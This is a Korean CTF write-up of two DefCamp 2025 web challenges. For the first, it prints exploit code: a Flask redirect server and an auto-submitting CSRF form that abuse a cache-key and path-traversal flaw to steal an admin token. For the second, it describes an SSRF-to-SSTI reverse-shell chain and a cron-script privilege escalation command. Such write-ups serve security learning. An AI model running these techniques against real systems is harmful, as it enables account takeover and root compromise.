Avatar
Interest: Web Exploitation.
Activities: DreamHack, Baekjoon
I occasionally blogs about web security, tricks, and development.

DefCamp-CTF 2025 Quals

DefCamp-CTF 2025 Quals

대회 일정

2025-09-12 19:00 ~ 2024-09-14 19:00

대회 후기

RubiyaLab Expeditions 팀으로 참여하여 DCTF를 진행하였고, 최종 9위로 마무리하였습니다.

오랜만에 풀타임으로 CTF 대회에 참여하였는데 팀원분들과 함께 의논하며 문제 푸는게 재밌었던 것 같습니다. 이번 대회를 통해 공부해야할 부분들도 알게 되어 좋았습니다.

Web 문제는 총 4문제가 출제되었고, esoteric-urge, rocket 문제 풀이에 기여하였습니다. 풀이한 문제에 대해 Write-Up을 작성하였습니다.

Writeup

esoteric-urge

index.js

app.delete('/reach_nirvana', middleware.requireEsotericKnowledge, async (req, res) => {
  res.status(200).sendFile(path.join(__dirname, 'nirvana.txt'));
  await utils.sleep(3);
  process.exit();
});

nirvana.txt 파일에는 DCTF{flag} 값이 포함되어 있습니다. /reach_nirvana API 요청을 위해서는 middleware.requireEsotericKnowledge 조건을 만족해야합니다.

export function requireEsotericKnowledge(req, res, next) {
    const user = req.session.user;
    if (user && user.role === 'guide') {
        return next();
    }
    res.status(403).send('You are not yet prepared');
}

requireEsotericKnowledge 함수는 사용자의 역할이 guide 인지 확인합니다.

index.js

app.post('/awaken', middleware.csrfProtect, async (req, res) => {
  try {
    const username = req.body.username;
    const found = await User.findOne({ username });
    if (found) {
      res.status(200).render("message", { text: `The UNiverse is waiting for you, ${username}` });
      return;
    }
    const user = req.session.user;
    const password = crypto.randomBytes(20).toString('hex').slice(0, 20);
    let role = null;
    if (user && user.role === 'guide') {
      role = req.body.role;
    }
    await User.create({ username, password: utils.hash(password), role: role || 'adept' });
    res.render("awaken", { username, password });
  } catch {
    res.status(500).send('It\'s only a bad dream');
  }
});

회원가입 로직을 보면, user.role === 'guide' 조건을 만족하는 사용자만 역할을 지정할 수 있는 것으로 확인됩니다.

/**
 * index.js
 */
app.post('/transcend', middleware.requireLogin, middleware.csrfProtect, (req, res) => {
  const url = req.body.url;
  if (!url) {
    res.render("message", { text: 'The URL is yet to be.' });
    return;
  }
  if (!url.startsWith('http://') && !url.startsWith('https://')) {
    res.render("message", { text: 'URL does not have the right frequency.' });
    return;
  }
  astralTravel(url);
  res.render("message", { text: 'Light will be shining over you.' });
});

/**
 * traveller.js
 */
import { chromium } from 'playwright';

async function astralTravel(url) {
    try {
        const browser = await chromium.launch();
        const page = await browser.newPage();

        await page.goto('http://127.0.0.1:3000/login');
        await page.getByRole('textbox', { name: 'Username' }).fill('metatron');
        await page.getByRole('textbox', { name: 'Password' }).fill(process.env.ADMIN_PASSWD || 'lordshiva42');
        await page.getByRole('button', { name: 'Log In' }).click();

        await page.goto(url);
        await page.getByRole('button', { name: 'Submit' }).click();
        const title = await page.title();
        await browser.close();
        return title;
    } catch (error) {
        console.log(error);
        return null;
    }
}

export { astralTravel };

로그인 이후 /transcend 페이지에 방문하여 봇에게 URL을 전달하면, 관리자 계정이 URL을 방문합니다.
다만, /awaken API 요청 시, middleware.csrfProtect 미들웨어에 의해 CSRF 토큰 검증을 수행하고 있어 외부 서버에서 요청이 불가능합니다.

/**
 * index.js
 */
const cache = new NodeCache({ stdTTL: 60 }); 

app.use('/public', middleware.cacheFiles(cache), express.static('public'));

app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use((req, res, next) => {
  req.url = path.normalize(decodeURIComponent(req.path));
  next();
});

/**
 * middlemare.js
 */
export function cacheFiles(cache) {
    return function (req, res, next) {
        const key = req.originalUrl
        const cached = cache.get(key);
        if (cached) {
            res.set('X-Cache-Status', 'HIT');
            return res.send(cached);
        }

        const originalSend = res.send.bind(res)
        res.send = (body) => {
            cache.set(key, body)
            res.set('X-Cache-Status', 'MISS')
            return originalSend(body)
        }
        next();
    }
}

다만, index.js, middlemare.js 파일을 보면, /public 경로에 대해 캐시를 사용하고 있는 것을 알 수 있습니다.

index.js 파일의 경우, URL 디코딩 및 정규화된 값을 req.url에 저장합니다.
반면, middlemare.jsreq.originalUrl 변수를 사용하고 있는 것을 확인할 수 있습니다.

이로 인해, 캐시를 처리하는데 문제가 발생합니다.

/public/42.gif%2f..%2f..%2fawaken 경로 요청 시, /awaken 페이지가 반환되며 X-Cache-Status: HIT 응답 헤더가 포함된 것을 확인할 수 있습니다.

이를 통햏 관리자가 해당 페이지에 방문하게 한 후, 동일한 요청을 보내 CSRF 토큰을 탈취할 수 있습니다.

공격 방법

  1. 로그인 이후, /transcend 페이지에 방문하여 공격자 URL을 전달합니다.
    • 공격자 서버는 봇이 /awaken 페이지에 방문하도록 리다이렉션 시킵니다.
    • http://127.0.0.1:3000/public/1.gif%2f..%2f..%2fawaken
  2. 봇이 방문한 페이지에 방문하여 캐시에 의해 관리자가 방문한 동일한 페이지를 방문하여 관리자의 CSRF 토큰을 탈취합니다.
    • http://35.198.141.47:31303/public/1.gif%2f..%2f..%2fawaken

    Cache HIT

    CSRF Token

  3. 관리자의 CSRF 토큰을 획득한 후, 공격자 서버에 관리자 CSRF 토큰을 업데이트 합니다.

  4. /transcend 페이지로 다시 돌아가서 공격자 URL을 전달합니다.
    • 공격자 서버는 가입 아이디, 역할(role), 관리자 CSRF 토큰을 포함하여 봇이 회원가입을 수행하도록 셋팅합니다.
    • http://127.0.0.1:3000/public/2.gif%2f..%2f..%2fawaken
  5. 이전과 동일하게 봇이 방문한 페이지에 방문하면, 회원가입된 사용자 계정(아이디, 비밀번호)를 획득할 수 있습니다.
    • http://35.198.141.47:31303/public/2.gif%2f..%2f..%2fawaken

    계정 정보

  6. guide 권한을 가진 계정으로 로그인하여 /reach_nirvana API 요청 시, 플래그를 획득할 수 있습니다.

Exploit Code

from flask import Flask, render_template, redirect

app = Flask(__name__)

@app.route('/')
def agent_details():
    return render_template('index.html')

@app.route('/redir')
def redir():
    return redirect('http://127.0.0.1:3000/public/1.gif%2f..%2f..%2fawaken')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>x</title>
</head>
<body>
    <form action="http://127.0.0.1:3000/public/2.gif%2f..%2f..%2fawaken" method="POST" id="xxx">
      <input name="role" value="guide">
      <input name="username" value="asdf">
      <input name="_csrf" value="b9a5bf42ee9dd4505a36fb70aa1bbe39.1757780147.2722d865402558af2a7015372da4d6bba4646f50d73115e2ae05cdaeddb1e485">
      <button id="submit">Submit</button>
    </form>
    <script>
       document.getElementById('xxx').submit();
    </script>
</body>
</html>

Flag

DCTF{h3r_es0ter1c_urg3_i5_f1nally_tam3d}

rocket

Home Page

홈페이지에 접속하면, URL을 입력할 수 있는 입력 창이 존재합니다.
URL을 입력하면 페이지를 스크랩해서 화면을 표시해줍니다.

홈페이지를 보면, 주석 구문에 http://127.0.0.1:4000/ 도메인에 블로그 주소가 노출되어 있는 것을 확인할 수 있습니다.

URL 입력 창에 http://127.0.0.1:4000/ 도메인을 포함할 경우, Forbidden Blocked: internal address 오류 메세지가 반환됩니다.

Blog

외부 서버에서 http://127.0.0.1:4000/ 페이지로 리다이렉션 되도록 하면, 위와 같이 블로그 페이지가 반환됩니다.

  <!-- Blog Header -->
  <header class="mb-10 text-center">
    <h1 class="text-4xl font-extrabold text-indigo-400">🚀 Rocket Blog</h1>
    <p class="text-gray-400 mt-2">Where rockets and ideas take off</p>
  </header>

  <!-- Blog Post -->
  <article class="bg-gray-900 rounded-2xl shadow-xl p-8 w-full max-w-3xl mb-10">
    <h2 class="text-2xl font-bold text-indigo-300 mb-4">First Launch</h2>
    <p class="text-gray-300 leading-relaxed">
      Welcome to the Rocket Blog! 🚀 This is our very first post.
      We’ll share stories, updates, and thoughts from deep space.
    </p>
  </article>

  <!-- Comment Section -->
  <section class="bg-gray-900 rounded-2xl shadow-xl p-8 w-full max-w-3xl space-y-6">
    <h3 class="text-xl font-semibold text-indigo-300">💬 Comments</h3>
    <form method="post" class="flex space-x-2">
      <input type="text" name="comment" placeholder="Write a comment..." class="flex-1 px-3 py-2 rounded-xl text-gray-200 bg-gray-800 border border-gray-700 focus:outline-none focus:ring-2 focus:ring-indigo-500">
      <button type="submit" class="bg-indigo-600 hover:bg-indigo-700 px-4 py-2 rounded-xl font-semibold text-white shadow">
        Post
      </button>
    </form>
    <div class="space-y-3"> 
    </div>
  </section>

요청을 통해 블로그 내용을 가져오면, POST 요청을 통해 댓글 작성 기능이 존재하는 것을 확인할 수 있습니다.

처음에 XSS를 생각하고 시도했지만, 봇이 주기적으로 동작하지 않고 쿠키를 얻는다고 해도 공격할만한 포인트가 확인되지 않았습니다.

이후, 팀원(@ctrlisk)분이 SSTI 취약점이 존재하는 것을 확인하였고, 이를 통해 리버스쉘을 연결하여 서버에 접속이 가능했습니다.

다만, /flag.txt 파일 읽기의 권한이 root 권한으로 설정되어 있어 권한 상승이 필요했습니다.

Privilege Escalation

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 *	* * *	root	cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6	* * 7	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6	1 * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
*/10 * * * * root /usr/sbin/logrotate -f /etc/logrotate.d/app

서버 파일들을 살펴보던 중 root 권한으로 crontab 이 돌아가고 있는 것을 확인했습니다.

$ cat /etc/logrotate.d/app
/var/log/app.log {
    daily
    rotate 7
    compress
    missingok
    notifempty
    postrotate
        /usr/local/bin/cleanup.sh
    endscript
}
$ ls -al /usr/local/bin/cleanup.sh
-rwxr-xr-x 1 blog blog 0 Aug 19 13:56 /usr/local/bin/cleanup.sh

/etc/logrotate.d/app 파일 내 /usr/local/bin/cleanup.sh 쉘 스크립트를 주기적으로 실행하는 것을 확인하였습니다. cleanup.sh 파일 소유가 blog로 설정되어 있었고, 쓰기 권한도 존재하였습니다.

$ echo "cat /flag.txt > /tmp/x ; chmod 777 /tmp/x" > /usr/local/bin/cleanup.sh

플래그를 읽는 명령을 cleanup.sh에 넣어주었고, croncleanup.sh을 실행하길 기다렸습니다.

생성된 /tmp/x 파일을 읽어 플래그를 획득할 수 있었습니다.

공격 방법

  1. SSRF 취약점을 활용하여 공격자 서버에서 블로그 페이지 접근
    • http://127.0.0.1:4000/
  2. 블로그 내 댓글 기능에 SSTI 취약점을 활용하여 리버스 쉘 연결

  3. Crontab 설정 파일 내 cleanup.sh 실행 파일 식별

  4. cleanup.sh 파일 내 원하는 명령을 포함하여 root 권한으로 명령 실행

Exploit Code

Reverse Shell

<!doctype html>
<html>

<head>
    <meta charset="utf-8">
    <title>portal</title>
</head>

<body>
    <form method="POST" action="http://localhost:4000/">
        <input name="comment"
            value="'>">
    </form>

    <script>
        document.querySelector("form").submit();
    </script>

</body>
</html>

Privilege Escalation

$ echo "cat /flag.txt > /tmp/x ; chmod 777 /tmp/x" > /usr/local/bin/cleanup.sh
$ cat /tmp/x
ctf{100e4e338e99fbcc300a001d8eb22388015aef102bf56904e2ea84afdacb78b0}

Flag

ctf{100e4e338e99fbcc300a001d8eb22388015aef102bf56904e2ea84afdacb78b0}